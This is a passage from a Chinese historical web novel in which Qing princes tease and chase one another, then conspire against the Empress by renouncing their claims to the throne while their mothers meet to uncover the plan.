他微微退后一步,给十一弟护在他身前的机会,“好了,你们兄弟俩自行解决。” 他上回的碧螺春茶水还没喝完呢。 永瑆头皮发麻,嘀咕道:“我不就是在你酒水里放点辣椒吗,这酒水还不够辣,我给你添添味。” 越说越有理,他还感觉委屈了,“你还说我是‘恬不知耻、卑鄙无耻、厚颜无耻、狗仗人势的衣冠禽兽’,有你这么说你亲爱的弟弟的吗?” “呵。”永璐继续冷笑,他将摆在地上充作观赏植株的辣椒扯下几个,匆匆用酒水洗了下,才掰成段放在酒坛子里封盖,使劲摇了摇里面的酒水,妄图将辣椒和酒水充分混合,再倒到一个空碗上。 没错,就是永琮刚喝过的那个碗。 “来,你喝,你喝完了爷就向你道不是,但要是你喝不完……” 永璐阴恻恻地笑,“那你在爷心目中就不止是‘恬不知耻、卑鄙无耻、厚颜无耻、狗仗人势的衣冠禽兽’了,还得是‘卑鄙龌龊、寡廉鲜耻、狗彘不若、狗若蝇营的衣冠禽兽’了。” “嗷。”永瑆下意识嗷了一声,心想九哥可真会骂人啊,这张嘴叭叭的,他还真没胆子对上九哥了。 他硬着头皮将酒水端起,慢慢地、慢慢地就要碰到嘴唇,突然像想起某事似的猛地将茶碗一抛,撒丫子往外边跑去,“九哥啊,我突然忘了一件事,小爷还没跟额娘说爷今天出宫了,小爷得回去了,让额娘担心就是为人子的不孝——” “不孝是吧,我让你看看不敬兄长今天会挨多少次揍!” 永璐顺手抓起种着辣椒的花盆,紧追不舍。 永琮已经给自己泡上了最香醇的碧螺春茶,他摇了摇头,“一群半大小孩总是喜欢这么闹。” 从门外窥见九阿哥和十一阿哥闹起来的奴才们见主子们已经商量好事了,就进来。 结果听到这句话,欲言又止。 好似七阿哥和九阿哥的年龄差距连一年都没有吧。 …… 派出去当说客的是四阿哥永珹。 永珹可不是轻易咽下一肚子气的人,他险些被皇后算计,总得给皇后找补点东西。 五阿哥作为他们众多庶子中,才识算是第一的,若是嫡子无缘继承皇位,以皇阿玛对子嗣文武双全的高要求,必然会将五弟放在心上,视作继承人培养。 他不在意以后当皇帝的是谁,只要不是皇后的嫡子就行,其他兄弟跟他感情不差,谁吃肉都少不了他那口汤喝,甚至还能喂他母家一些汤 喝。 当然,如果是最有可能继承皇位的兄弟,永珹并不介意自己下多点功夫,循循善诱。 永琪突然听到有关皇额娘的坏话,一刹那没反应过来。 永珹问道:“五弟,你是相信我们兄弟几个,还是相信皇额娘。” 永琪毫不犹豫道:“相信你们。” “那不就得了,你还犹豫什么?” “是谁头一回听到这种话都会愣一下吧。”永琪难得吐槽,“而且你们没有证据,光是张口一说,我也能给你们整几条罪名出来。” “爷有办法。” 永珹看了眼老五,摸着下巴琢磨,皇后是从老大开始整起,依次往下,他刚被皇后算计,虽然结果不成,但他是块硬骨头,皇后啃不下来的,若是皇后想轻松点,就得算计老五了。 不如……给皇后设个局? …… 三阿哥永璋对上的是自己的亲弟弟永瑢。 同父同母的兄弟,没有谁比他们更亲近了。 但永璋每每看着这位弟弟当着自己的面打瞌睡,睡醒了以后就开始吨吨吨喝起奶茶,他真怀疑是不是自己这个兄长当得太不像兄长了,在弟弟心里一点威严都没有。 他记得他向永琮讨教过怎么整治弟弟的。 永琮告诉他,棍棒底下出孝子,当然这话是不能让爹娘实施在自己身上的,那得多疼啊,但是实施在兄弟身上就不一样了。 将这话改一改就成了‘棍棒底下出孝弟’。 现在永璋觉得七弟言之有理,他向奴才们要来了一棍子。 看到三哥手里拿的棍子,永瑢现在立马掐了自己一把,精神抖擞,“三哥,你找弟弟做什么?” 永璋默默将棍子放在身后,六弟果然听话许多,七弟言之有理。 “不是什么大事,只是爷思来想去,总觉得有一事得跟你说清楚,省得你以后给爷添麻烦。” 跟老四对老五寄予厚望不同,老三对老六从一开始就没任何期待,毕竟老六是什么性子,一目了然。 第100章 第100章第二更 永瑢不以为然,“我还以为发生什么大事了,三哥你有什么事就直说吧,还拿棍子威胁我,你以为我是九弟十一弟,被永琮一棍子威胁就能屈服的?” 永璋皮笑肉不笑,他还真看不出他这个弟弟这么有骨气,他默不作声将棍子拿到身前。 永瑢立马不吭声了,默默将放肆翘起的脚放下,又觉得自己这样做有点丢脸,努力找补:“三哥你在干什么?你要干什么呀,难不成你要对你亲爱的弟弟下手?我真是看错你了!” “干什么?我都说我有大事要跟你说了,你别给我整得一副我要胡说八道的模样。” 永璋冷笑,“你哥我吃过的盐可比你吃过的饭要多。” “那你现在怎么没被自己齁死?” 永瑢下意识道。 永璋默默将棍子扬了扬。 “哥、哥!我错了,你直说吧我都听着。”永瑢不知道他三哥是被哪个家伙教坏了,拿着棍子就威胁他,还是不是他从前那个心地善良、被女人胡乱摆弄的三哥了。 从前的三哥挺好说话的,就是容易被女人耍,在皇室还相信一生一世一双人这种事,哦,不对,三哥他压根就没有一双人,三哥是吃着碗里的还想着锅里的,也不是什么好人。 永璋幽幽道:“我总感觉你在想些得罪我的事。” “没有!”永瑢放大了声音,“你要说快说,不说快滚。” “你敢说我滚?”永璋扬了扬棍子。 永瑢立马跑到他身后给他捏着肩膀,“三哥,我这不是在跟你开玩笑的吗,弟弟一个玩笑你也承受不起了?我心目中的三哥可是盖世英雄,盖世英雄就得有盖世英雄的气魄。” “嗯,你说的有道理。”永璋被他吹捧得心里有些舒服,尽管这拍马屁的话太粗糙了,没有九弟对七弟不着痕迹的吹捧好听,但是,这是永瑢第一次做这种事,他能谅解。 “所以盖世英雄能不能放下手中的棍子了,您这手应该拿枪,那这木棍算什么,平白降了您的威风。” “哼。”永璋施施然看了他一眼,这才放过这个弟弟,将木棍抛给身后的小太监,“得了,都给爷退下。” “是,三爷。” 永瑢这才不动声色摸了一把虚汗,他这三哥说话怎么这么硬气了。 要是将这股硬气对上西林觉罗氏、对上娴妃就好了,他到现在都还没见到他小侄子,娴妃当真可恶。 永瑢将心里的不满咽下,仔细听着三哥说话。 永璋仔细确认过隔墙无耳才道:“接下来的事事关我们兄弟八人,你要是能帮你就帮,你要是不能你就将今天听到的事都给我憋到肚子里,死都别说。” 永瑢下意识正经了表情,有关兄弟们的事,他再不着调也不会背叛自己的兄弟。 永璋一五一十将皇后这些年的算计说来,有些算计哪怕没有证据,可只要推测出得益者是谁,那么猜出幕后之人是谁就是极其简单的一件事了。 永瑢听了好久才反应过来。 永璋笑道:“我还以为你听到后会立马跳起来说‘三哥,你干嘛要跟我说这种事,我听都听了,以后还能安心当我的贝子爷吗?’” 永瑢闷闷不乐,“我就算再不想跟你们说那些差事,再不想理会宫中事,在皇阿玛和额娘面前表现得有多混账就有多混账,可你们是我兄弟,我总不能坐视不管吧,我又不是狼心狗肺之人。” 永璋欣慰地拍了拍弟弟肩膀,“好弟弟,你果然长大了。” 永瑢推开他的手,怒目而视,“什么叫做我长大了,我本来就是这样的人。” “你本来就是这样的人?”永璋狐疑地从头到脚扫了他一遍,“我刚才可是听你说故意在皇阿玛和额娘面前表现得混蛋的。” 永瑢腮帮子扯了扯,“有什么办法,我生性就不好动,也不想争那皇位,有何意思,我天生是皇子又不代表我天生就得争那个位置,大哥三哥你们都不争还不是一样被算计了吗?” “也是。”永璋想起旧时,笑容都淡去一些了。 永瑢继续道:“我从前以为皇阿玛将我们几个兄弟都放在阿哥所是对的,毕竟前朝都这么做的,可是等我长大后,我看到永琮永璐两兄弟能养在贵额娘身边到五岁才来阿哥所住,永璇也是,能一直养在慧妃身边,直到慧妃犯错被贬位,才来到阿哥所住下,我就知道皇阿玛都是在蒙人的,他分明是不将我们当儿子看待。” 他闷闷地道:“我没有怨七弟九弟他们,只是皇阿玛早早让我们兄弟跟亲生额娘分开,美其名曰说能不让皇子对外戚有依赖,我就觉得皇阿玛说过的话都很好笑,我可不见得贵额娘觉得皇子就该高人一等,不亲近魏氏一族的人,我也没有看到魏氏一族意图操控皇子阿哥,皇阿玛只是不将我们当儿子看,还想让我们断情绝欲,连亲生额娘以及自己母族都不予亲近,既然如此,我便成全了他的意思,但我也不想当他眼中的孝顺儿子了。” 永璋久久沉默,“你确实聪慧,早就看透这些事了。” 永瑢表情不知何时又变回了从前懒散的模样,“我还说错了呢,前朝还是让皇子养在亲生额娘到五六岁才送去阿哥所的,只是到皇阿玛这里直接不将我们当儿子了。” 他瞥了眼三哥满脸苦色,给三哥倒了杯奶茶,“别想太多了,皇阿玛眼里都没有儿子,甚至嫡子也是任由他权衡利弊,你看三哥和十二弟两个嫡子,一个天资聪颖,一个天生愚笨。皇阿玛只重视符合他心意的嫡子,说不准到最后,咱们兄弟几个长成了,还会被皇阿玛视作皇位的威胁者,我也就是听你说大哥已经无法继承皇位了,我才意识过来难怪皇阿玛这几年会重视大哥了。” “先是皇后,再然后是皇上,往后估计还会有别的波折,我只信我们从小长大的兄弟,三哥,你说吧,要怎么做,我都配合。” “好!你果真不愧是我的好弟弟!” 永璋被他说动,心里升起豪气,一口干完奶茶,被口中甜腻的味道腻住了,嫌弃道:“你这是什么口味,居然喜欢喝甜奶茶。” “你看不起甜奶茶我还看不起你喜欢喝咸奶茶呢。”永瑢冷笑一声,“有话快说,不然我得将你赶出去了。”敢嫌弃他奶茶的人都得给他走,他要不是看在三哥是他亲哥的份上,他现在就将三哥赶出去了,哪还会给他倒他甜奶茶! 不识相的家伙! “你就是这么对你三哥说话的。”永璋下意识摸起棍子,但摸了半天才反应过来自己早就将棍子抛给奴才了。 他抬头对上永瑢得意的笑容,阴恻恻道:“有时候,你可真是让哥恨得牙痒痒的啊。” “客气客气,有时候三哥你也挺招人恨的。” 永瑢毫不退让,用肩膀使劲撞了他一下。 …… 阿哥所的阿哥即便成亲生子,有得还得来到阿哥所上学。 比如大阿哥,又比如三阿哥。 永璇感觉自己最近被排挤了。 他看到大哥和三哥勾肩搭背、狼狈为奸;四哥和五哥一个不停说话扰人,但被迫听那些话的人也不嫌弃身旁人的啰嗦,好似那周瑜打黄盖,一个愿打一个愿挨,没眼看;六哥还是形单影只;七哥、九弟、十一弟照旧以结义兄弟名义亲亲密密搂在一起,也不嫌腻歪。 永璇心里有些受伤,这些兄弟果然眼里没有他,他都一个人站着许久了,也不见有一 个人主动接触他,真是过分! 好在还有六哥陪着他。 永璇备感安慰,正欲上前搂住六哥好好倾述自己的苦闷,跟六哥一起控诉这群没兄弟爱的兄弟,就看到三哥在跟大哥勾肩搭背后,过来寻六哥,兄弟俩感情可好的样子了,好到他伸出去的一只手都是多余的! 就这样六哥还回头看了他一眼,十分诧异道:“八弟,你站在这里干什么,拦路的吗?” 还有八弟伸出来一只手干什么。 永瑢想了想,也伸出手来握了下他的手摇了好几下,见他八弟呆住了,心里觉得没趣,“走吧,三哥,八弟看来又读书读迷障了,五哥跟他一个样,也不知道这两个书呆子啥时候才能别总是发呆。” 永璋颇为认同,“确实,读书读迷障了可不是什么好事。” 兄弟俩转身就走,压根不顾被他打击得回不过神的八弟。 “哟,这不是八哥吗,怎么在这里站着不动了。”永璐怪惊奇的,伸出手在八哥面前晃了晃。 永瑆捉弄人的心思再起,看着八哥伸出来的手,想了下将自己不小心蹭到的墨水趁着握手时‘无意中’拍到八哥手上。 永璇目光下移,注视着自己脏了的手,总算不呆滞了,怒从心起,“永瑆,你真是一天不打上房揭瓦了!” “哇!”永瑆赶紧跳开,“我以为你发呆发懵了,谁知道你还能动。” “你说的什么胡话,爷要是不能动,爷不就死了吗?” 弟弟一天不教训就让他手发痒。 永璇挽起袖子,永琮默不作声给他递去了一个棍子,永璇感激地看了他一眼,“果然是我的好七哥。” “哇哇哇哇——七哥,你怎么能助纣为虐!你还是不是我哥了?!” 永璇拿起棍子如虎添翼,追着永瑆屁股跑,永瑆被撵得嗷嗷叫,兄弟俩一个追一个跑,永琮面带笑容在旁看戏,永璐抓过来一把瓜子,还给了哥哥一把。 “七哥你不要吗?” 永琮推开他的好意,“不要,这东西吃起来容易脏手。” 永琮干脆拿来凳子,坐下来看着兄弟撵人,永璐想了想也搬来凳子坐在哥哥旁边。 路过的永珹生硬拉拽来永琪,“你们这是在做什么?” “是四哥啊,有好戏看,你看不看?”永琮头也不回道。 “……”永珹抬头看着永璇那小身板快要追上永瑆了,但永瑆关键时候一个闪避躲过了一棍,他眼睛越发明亮,“好样的,永瑆真厉害,果真不愧是爷的弟弟。” 他顺其自然坐下来,还从永璐那里掏来了一把瓜子,“来啊,五弟,坐下来啊,这种好戏可不是每天都能看到的。” 永琪有些犹豫,实在是永瑆跑起来的样子有点惨,都伸出舌头了,那不就成了狗模样了吗。 他不是那种没良心的兄长,想到这,他默默注视着尤为没良心的作为永瑆同母兄的永城,试图用自己的注视让他明白过来放任年幼的弟弟被追是件多不可取的事。 “坐啊,你这半天不坐还想干什么,怪不得六弟说你是书呆子了。”永珹见他犹豫半天,将他拉下来。 永琪坐下来看了几眼永瑆被追得像狗喘的画面,看出几分兴致了,又默默改变了刚才的说法,其实有些事也算不上没有良心,永瑆有时候太皮,是得要被兄长们好好教训。 看永璇追得面红耳赤的样子,好像比永瑆更惨。 他要是有良心的话,应该支持八弟追到十一弟。 四人默默看了好一会儿。 不知何时,大阿哥永璜也坐下来了,又过一会儿,刚离开的永瑢和永璋两兄弟也回来了,默默搬来凳子坐下来。 总共有大阿哥永璜、三阿哥永璋、四阿哥永珹、五阿哥永琪、六阿哥永瑢、七阿哥永琮、九阿哥永璐这七位阿哥,除了被追和追得正热烈的两位阿哥和嫡子十二阿哥永璂,阿哥们全员到齐。 又不知何时有人下赌注了,赌是永璇先追到永瑆,还是永瑆先一步跑掉,还是永璇和永瑆这两人谁‘先帝创业未半而中道崩殂’,用人话来说就是谁先累倒。 永琮郑重其事道:“爷觉得是永璇最先累倒,他瘦得爷一只手就能拎起。” 永璐支持自己兄长的说法,“没错,永瑆这家伙皮得像猴子似的,上回我追他撵他,费了我老半天劲才追到他!” “然后呢?”永瑢问道。 “我把他屁股揍了一顿。” “干得好。”永珹猛地拍掌,“只是你这话就不对了,永瑆再能耐也只是个小孩,不比永璇年长他几岁,永璇必然能追到他的,或是永瑆半路就跑不动了。” 永琪用一种极其诡异的眼神望着他,作为兄长,四哥就这么盼着十一弟被狠狠揍一顿。 这可是同母兄弟啊,用得着这么狠? 可实话实说,如果不是怕自己丢脸,永珹是真想上手揍一顿弟弟的,从小到大,他这个弟弟专门折腾他,从他房间里扒拉走各种好东西献给他亲爱的七哥,要不是七弟总会将东西还给他,他就真的憋不住了。 好在现在天降正义,他喜欢。 永珹心满意足。 却不想结果不像所有默默下注的兄弟想的那样,兄弟俩奔跑着奔跑着……跑着跑着没了力气,双双栽在地上,两人身上穿得挺绿的,那一栽,如旱地拔葱,当即好多个下意识站起来的兄弟都愣住了。 永璜禁不住说道:“我怎么觉得他们这一身,怪绿的。” 永璋有些无法克制地盯着他们的屁股看,“好像长歪了的葱苗。” 永琮真诚评价道:“三哥言之有理,不如咱们待会就吃‘猛龙过江’?” 猛龙过江的食材只有一根大葱和一碗水,将大葱泡在水里做成汤,就纯粹一葱汤,若非这汤跟乾隆皇帝沾点边,皇子们可能听都没听说过。 “不填肚子的,咱们再加点别的。” 看到永瑆永璇两兄弟倒在地上后还能互骂,七个兄弟就不理会两人了,围在一起商讨着今日去谁府上吃什么好。 永璇一时悲愤,“果然,我就是被他们排挤了。” 永瑆喘气,没力气说话,周围奴才将他们扶起来搬到屋里面,休养了好一会儿,永瑆还嫌事情不够大,挑衅道:“八哥,你这身子果然不大行啊,连小爷都比不过。” 永璇深深地看了他一眼,还在回想着方才兄弟们团结一致看戏的画面,这不对吧,什么时候兄弟感情们这么好了? 也不是说平时感情不好,但是兄弟们明显不是感情外露的性子,让他们突然走到一块,果然觉得怪怪的。 想到这里,永璇立马盯着永瑆,“快说,你们发生什么事了?就单单瞒着我一个人?” 原本永璇这话只是半信半疑,但是看到永瑆心虚地移开眼睛,他还真不能不信了,“好啊,你们居然都瞒着我!” “谁、谁瞒着你了!”永瑆只是个孩子,再聪明也抵不过有人将疑问怼到他面前会心虚。 但永瑆确确实实是个守口如瓶的,不然兄长们也不会告诉他这件事,他一副死猪不怕开水烫的样子,“反正小爷什么都不知,八哥你问再多也没用!” 永璇还真的不问了,毕竟再逼下去,永瑆可能就找七哥告状了,只不过他暗暗将这事记在心上了,他总会找到答案的。 …… 兄弟们在定王府吃饱喝足后,才齐聚在一起商量皇后之事。 扳倒国母这种事说来天方夜谭,但是不试试看,他们兄弟就真有可能出事了。 永琮看了眼五哥,“五哥,你现在就像是香饽饽,分外招人恨。” 永琪笑道:“表现好难道还能是我的错?” “那自然不是,不过越过你和六哥、我和九弟,就只剩下八弟和十一弟会被那位算计了。” “还得加上四哥。”永璐默默补充道。 “我就不跟那位掺和了。”永珹打哈欠,“她要是将这份心思用在皇阿玛身上,十二弟保准比现在更得宠。” 皇阿玛最忌讳有人动他皇位,所以让皇子们跟母族不甚亲近,给的妻族也就看着还行,但没多少帮助,反正是不比圣祖爷在位时那些皇子阿哥的妻族强盛,他们这些皇子本就不可能争,就算有争的心思,那也得有相应的势力支撑着啊。 他们手上的权力全都来源于皇阿玛,皇阿玛想给就给,想收回就收回,就皇阿玛一句话的事,他们身不由己。 皇后为何要忌惮他们。 他想破脑子也想不通! 干脆就不想了,或许有些人的心思他永远都猜不透。 他甚至想得大逆不道些,他都想说皇后与其算计他们兄弟几个,不如算计皇阿玛,好一步到位,以富察氏一族的权势,在皇阿玛未定储君之前,轻而易举就能将嫡子送上皇位—— 嫡子上位,那不天经地义吗,他们庶子还有胆子觊觎皇位?说来都可笑。 “皇阿玛早就不信她了。”永璜轻声道,说来这事好像跟他有那么点关系,破坏掉皇阿玛心目中有关皇后贤良淑德的形象,才导致皇后没法取信皇阿玛,被逼无奈对他们这些兄弟下手。 可是,如果没有皇后对他的妻儿下手,他也不会一气之下在皇阿玛面前揭露皇后的真面目,反正他能赌得起,皇后赌不起,因为除了他以外,他还有八个兄弟。 他不信皇后能接连扳倒八个兄弟,果不其然,在轮到四弟时,他们兄弟都团结一心联合起来了。 永璜下意识忽视了一个兄弟,事实上,他也确实忘了永璇的存在。 以至于兄弟们正聊得兴起时,下人在院子外放起鞭炮,兄弟们停下了讨论声。 下人们等了三息,才进来禀告,“大爷,八爷突然闯进来了,奴才怎么拦都没用!” 他们也没胆子拦皇子阿哥,只得赶紧告诉大爷了。 兄弟们面面相觑,就差直接问‘是谁引来的了’。 见此,永瑆默默低下了头。 100-110 第101章 第101章察觉 永琮忍不住多看永瑆一眼。 罢了,永瑆也不是故意的,他还是个孩子。 他开口道,“既然八弟也过来了,证明这事跟他有缘分,先前就九子夺嫡,现在加上八弟,我们也是九子。” 永珹意味深长地笑了笑,“确实,真是缘分,他们九子夺嫡,我们九子结盟,说来好似没有这九子夺嫡好听。” 永璋忍不住一巴掌拍过去,将这个故作深沉的弟弟给打醒,“说什么呢,好端端的讲这种不吉利的话。” 永珹脸一下子垮了,“三哥你能不能在其他兄弟面前给我点面子。” 永璜格外震惊扫了他几眼,“四弟,你有面子那种东西?” “大哥!”永珹恼羞成怒。 见四哥丢脸,永瑆又精神了,对着四哥办了个鬼脸。 “永瑆!”永珹脸色赤红。 不在弟弟面前丢脸是每个哥哥深重的执念。 永瑢不想掺和进这几个兄长的稚儿斗嘴,懒洋洋地跟永琪分享自己的果茶。 “果茶?你先前不是喜欢甜奶茶吗?” 永琪不解,但他为人很善解人意,喝了一口果茶虽然觉得味道不大适合自己的口味,也还是赞了一句“好喝”。 太酸了。 永瑢扫了他几眼,“喝不下去就没必要喝。” “倒也没有喝不下去。”永琪想了想,“我觉得我额娘会喜欢果茶。” 平日里额娘喜欢喝梅茶杏汤、荔枝膏水和金橙茶,这些都算作果茶,六弟喜欢喝的果茶虽然跟他平时见到的不大一样,大有种跟甜奶茶一样花里胡哨的做法,但是归根究底叫一声果茶,应该是跟这些瓜果有点关系的了。 “那你回宫后去我院子里取些送给愉嫔娘娘。” 永琪颔首,“哥哥多谢六弟。” 永璐嘀咕道:“七哥,你有没有发现我们俩被排挤了。” “哪有的事。”永琮诧异看他,不慌不忙给他倒了杯茶,“喝茶平心静气,不要胡思乱想。” 永璐若有所思,捧着茶再看一眼光风霁月般的兄长,点点头,确实不是兄长被他们排挤了,是他们被兄长排挤了,看看七哥这气度,哪像是能被人忽视的。 果不其然,不过半响六哥便顺道给七哥倒杯果茶了,还有大哥凑过来问七哥喝的什么茶,被永瑆使劲推开了。 又过一会儿,四哥死皮赖脸将七哥旁边的永瑆拎走,自己坐在七哥旁边,问起七哥今后的打算。 永璐点点头,感觉这一幕熟悉极了。 再一想,额娘在储秀宫时,不都是刚坐一会儿就有婉嫔娘娘和颖贵人凑过来吗,有时候嘉妃娘娘也会过来,还有两位妹妹,和静和恪一来到慈宁宫便有皇玛嬷贵玛嬷亲香,在姐妹之中也挺受欢迎的。 由此可见,这些人全看脸的吧。 永璐心里鄙夷,屁股定在坐垫上,永琪有件事想过问七弟,见九弟坐着不动,忍不住说道:“九弟,你让让位置。” 永璐瞥他一眼,“不让,我凭本事占的位置,凭什么让。” 永璇闯进来时看到众多兄弟闹着打着,傻眼了,忍不住气愤道:“你们眼里可有我!你们听到我要过来了居然什么反应都没有。” 永瑢配合道:“哟,这不是八弟吗?” 其他兄弟也道:“没想到八弟如今长这么高了,是个魁梧有力的男子汉了。” “我上回听人说八弟不小心摔着了,可摔着屁股了?” “那未必见得,都栽成一根葱了,估计是脑袋摔着了。” 永璇更是气得脸色泛红,“你们一个个都在笑话我。” “倒也没有。”永琮摸了会茶杯,郑重其事想了下,“八弟,过来坐吧,有些事倒不好瞒着你了。” “哼,还是七哥对我好。”永璇这才歇了脾气,将四哥挤开坐下,永珹摸了摸自己鼻子,不跟八弟一般计较,转而就将永瑢的果茶抢过来了。 永瑢幽幽地注视他一眼、两眼、三眼……“好了好了,还给你。”永珹心里纳闷他这些弟弟怎么都不像话,当弟弟的不该尊敬哥哥吗? 几人三言两句将事情讲清楚。 永璇先是震撼,再然后到质疑,“你们能将这事告知永瑆这个稚儿,但是却不告诉我是吧。” 永琮道:“是我让他们不告诉你的。” “七哥,为什么?”听到是七哥拦着的,永璇原先的愤怒也变成委屈了,“七哥,你没将我当兄弟吗?” “这关我将你当不当兄弟有什么关系。”永琮直白道,“我是怕跟你说了,你转头被你额娘逼迫不得不说出来了,等你这次回去后,估计慧妃娘娘得打听清楚你在宫外做了何事了。” 永璇坚决道:“这次我肯定不让额娘看出不对劲,我不会背叛我兄弟。” “希望你说到做到。” 其他人脸色严肃。 他们的计划并不算高明,甚至可以说是简单,但越是简单直白的计划,就是越少不了协同一心。 …… 储秀宫,慧妃派来的奴才刚从储秀宫里出来,往钟粹宫去了。 婉嫔嫌慧妃没事找事,“八阿哥也算是个大孩子了,何必处处看紧他,还过来咱们储秀宫过问情况。” “她要问就随她问吧。”魏紫菀漫不经心道,“颖贵人,到你了。” 颖贵人 放下手中胭脂,笑眯眯道:“让婢妾看看,娘娘这步棋真好,婢妾输了。” “你每次都这么说,不嫌腻歪吗?”魏紫菀将棋子弄散,“罢了,不下了。” “反正婢妾是个臭棋篓子,说多了便习惯了。”颖贵人骄傲地挺了挺胸膛,“谁对上婢妾都得赢。” 换做是平时,魏紫菀高低得吐槽她一句,但现在,“本宫总感觉这几个阿哥整天聚在一起,总归不是什么好事。” 她略作思绪,“去请纯妃、嘉妃、慧妃、愉嫔她们过来吧。” 阿哥们跟臣子们走多了还能被人怀疑是结党营私,而阿哥跟阿哥走多了,她还真不能不多想,或许她宁可自己多想也要将事情防范于未然,叫来这几个阿哥的生母,那必然是打着一起教训孩子的主意。 或许是同为母亲冥冥之中的第六感,这四位妃嫔隐约感觉到自己儿子要干一件大事,对上贵妃的邀约,只犹豫一下便赶紧起身过来了。 而在门口四人相撞,面面相觑,纯妃嘉妃愉嫔各做退步,慧妃先进去,才是纯妃、嘉妃和愉嫔。 四人端坐在正殿正堂,心里猜测贵妃找她们过来的目的,说跟她们的阿哥有关,她们儿子是不是背地里做了什么孽事。 第102章 第102章第一更 魏紫菀开门见山,“本宫了解本宫的儿子,永琮年幼时就能拉上永璐永瑆两个孩子结拜,本宫跟你们坦白说吧,永琮现在天天往外跑,本宫不信他没有背地里怂恿某些事。” 四人见贵妃说得这么直白,眼里没有一点慈母对儿子的滤镜,不免有些吃惊。 愉嫔委婉道:“娘娘,说不定是您误会了,七阿哥多光风霁月的一位皇子啊。” 永琪平日里对永琮赞不绝口,是头一次对自己兄弟这么称赞,她相信贵妃娘娘一定是误会什么了,她好奇之下特地去阿哥所‘不小心’看过两眼永琮,确实是模样极好的阿哥,配得上永琪的称赞。 魏紫菀反倒奇怪地看了他一眼,光风霁月?看来愉嫔也是个光凭外貌就能下定论的人,她反问道:“难道愉嫔妹妹觉得本宫说的话就是虚话了?” 愉嫔下意识反驳,抬头便看到贵妃娘娘眸子似明珠生晕,顾盼流转之间,秋水盈盈,熠熠生辉。 美人似那皎洁月华,高不可攀。 她顿时哑巴了,“不,是婢妾一时口误,娘娘必然是有理有据才跟婢妾这么说的。” 其他人都要被愉嫔这说变就变的面孔给气笑了,愉嫔不会说话就别说了,说一半变一半,还是被贵妃看上一眼就变了说法,她们是被贵妃叫过来的,不是她们主动凑过去的,好歹端着点姿态吧。 纯妃道:“贵妃娘娘说是这么说,但这没凭没据的事,贵妃娘娘怎么就肯定永琮阿哥会犯事,就算永琮阿哥犯事了,也未必跟我们的阿哥相关。” 她自认为她的永璋性情乖巧懂事,她的永瑢虽然跟懂事乖巧并不沾边,但是他性子胜在一个懒字,因他这个性子,宫中算计皆跟永瑢无关,哪怕天塌了,她怀疑永瑢都不会动一下,等着高个子顶天。 魏紫菀反而奇怪道:“纯妃妹妹不是知道本宫叫你们过来就是为了商量阿哥们的事吗,要是纯妃妹妹心里这么肯定永璋和永瑢不会闹事,也没必要过来。” 她也不是非得请纯妃过来的。 她是隐隐约约感受到纯妃的敌意了,但是因纯妃的敌意是朝着所有高位妃子去的,不单独针对她,换句话来说,纯妃对谁说话都这么带刺,她并不在意纯妃的刺话。 纯妃哑口无言,“还望娘娘接下来说的是有用之事。” “所以本宫不就找你们商量了吗?” 魏紫菀是十拿九稳这些阿哥们有一个共同的目的,但是这个目的是什么,她暂时探不出来,也怕打草惊蛇,但是能让九个阿哥都汇合在一起,她只想到一种可能。 清朝都发生过九子夺嫡的事了,下一件跟九子相关的事,必然不是什么小事。 尤其是永琮这孩子,看似不显山不显水,但有时候带头人少了这孩子还真不行,因为这孩子会暗地里拱火,但所有人都看不出他拱火,要不是她平时里也喜欢这么做,回味过来永琮最常用的手段就是她用过的,她也没反应过来。 叫上这些妃子过来,是一旦孩子们真算计了什么,也只在她们之间流通,还能相互掩护,俗话说得好,家丑不可外扬,想必当娘的都一个心思,会齐心协力庇护自己孩子。 纯妃和嘉妃这两个有着两个儿子的妃子都这么紧张了,更不用说只有独子的慧妃和愉嫔。 魏紫菀讲来自己儿子的不对劲,说永琮永璐两兄弟总是跑出宫去永璜府上。 慧妃点头,“永璇也是如此,本宫说过他好多回了,不见他听本宫的。” 嘉妃听了这话,心里腹诽,这能一样的吗,就慧妃恨不得天天将永璇藏在眼皮底下的做法,但凡是个脾气硬的阿哥,都会生出些不满的吧。 她心里腹诽了一大堆,轮到自己时,也没落下对自己两个儿子的抱怨,“永瑆平日里喜欢跟着永琮永璇,跟永珹少有亲近,但凡他们兄弟俩亲近了,必然是拳打脚踢的‘亲近’,但最近永瑆跟永珹关系突然好起来了。” 她在‘家丑是否外扬’这点上犹豫了一会儿,补充道: “是那种好哥哥好弟弟的兄友弟恭,本宫猜他们兄弟俩肯定有图谋,就跟娘娘说的一样。” 她是亲近贵妃的,并不觉得贵妃这样一个聪明人会说出一些不明不白的话。 魏紫菀直言道:“还是得靠四位妹妹的配合了。” 她对上这四位年纪比她大一轮的宫妃毫不客气地吩咐,毕竟在宫里只看位份不看年纪,她气弱了就换别人势强。 五人凑到一起商量打探阿哥们消息的法子。 而九位阿哥此时此刻不打算干人事了。 永珹提出拿永琪做诱饵引皇后入局,但永琮立马反对了,“若是五哥因此受伤,就违背我们的初衷了,像大哥三哥那样的事,发生一回就触目惊心了。” “那七弟的意思是?” 永琮笑道:“皇阿玛平日里最忌惮后宫妃子干政,也忌惮我们这些儿子长成,可若是我们心思不在那上面,皇阿玛也拿我们没办法吧。” 永璋道:“你是说我们每个阿哥都放弃继承权,逼皇阿玛不得不重视皇后的嫡子?” 永璜蹙眉:“这不就成全皇后心思了吗?”他当年是被逼无奈才放弃继承权的,他并不希望他的兄弟也这么冲动,不好权力不代表不争权力。 不争是死,争了才能明哲保身。 永璐辩驳,“我想七哥的意思是我们名誉无损,身体无损,明明有着争皇位的能力,但就是不争,让皇阿玛明白我们对那个位置没有心思,从而不得不培养皇后的嫡子。” 永琪了然,“大哥,这可跟皇后初衷不一样,若是我们对皇后表示不争皇位,你觉得皇后是会信我们还是反手将我们弄死。” 永璜哑口无言。 永瑢接话,“必然是将我们弄死,谁会信一个皇子说的话。” 想到这他讽刺地笑了笑,若非他从小到大确实性子懒散,烂泥扶不上墙,皇后算计完五哥就得算计他了。 永珹不解,“跟皇后表示不争皇位不行,但跟皇阿玛表示不争皇位就行了?” “怎么不行,跟皇阿玛表示不争皇位,皇阿玛是真会放在心上的啊,他怎么会选一个无心江山的皇子继承皇位。” 永琮一锤定音,“只要在皇阿玛面前放弃继承权,主动权便在我们手中了,如同大哥一样,当初不就硬生生让皇后名声受损了?这是阳谋,她抵抗不了的。” 永璇道:“皇阿玛忌惮皇子长成,可若是我们什么都不争,该慌的得是皇阿玛了,因为他能选的只有嫡子,而 嫡子继位是众望所归,皇阿玛真的不会忌惮嫡子吗?不会觉得皇后心大了?我们无缘无故放弃皇位,想必在皇阿玛心中皇后得是眼中钉肉中刺了。” 众人对视一眼,心中皆有数了。 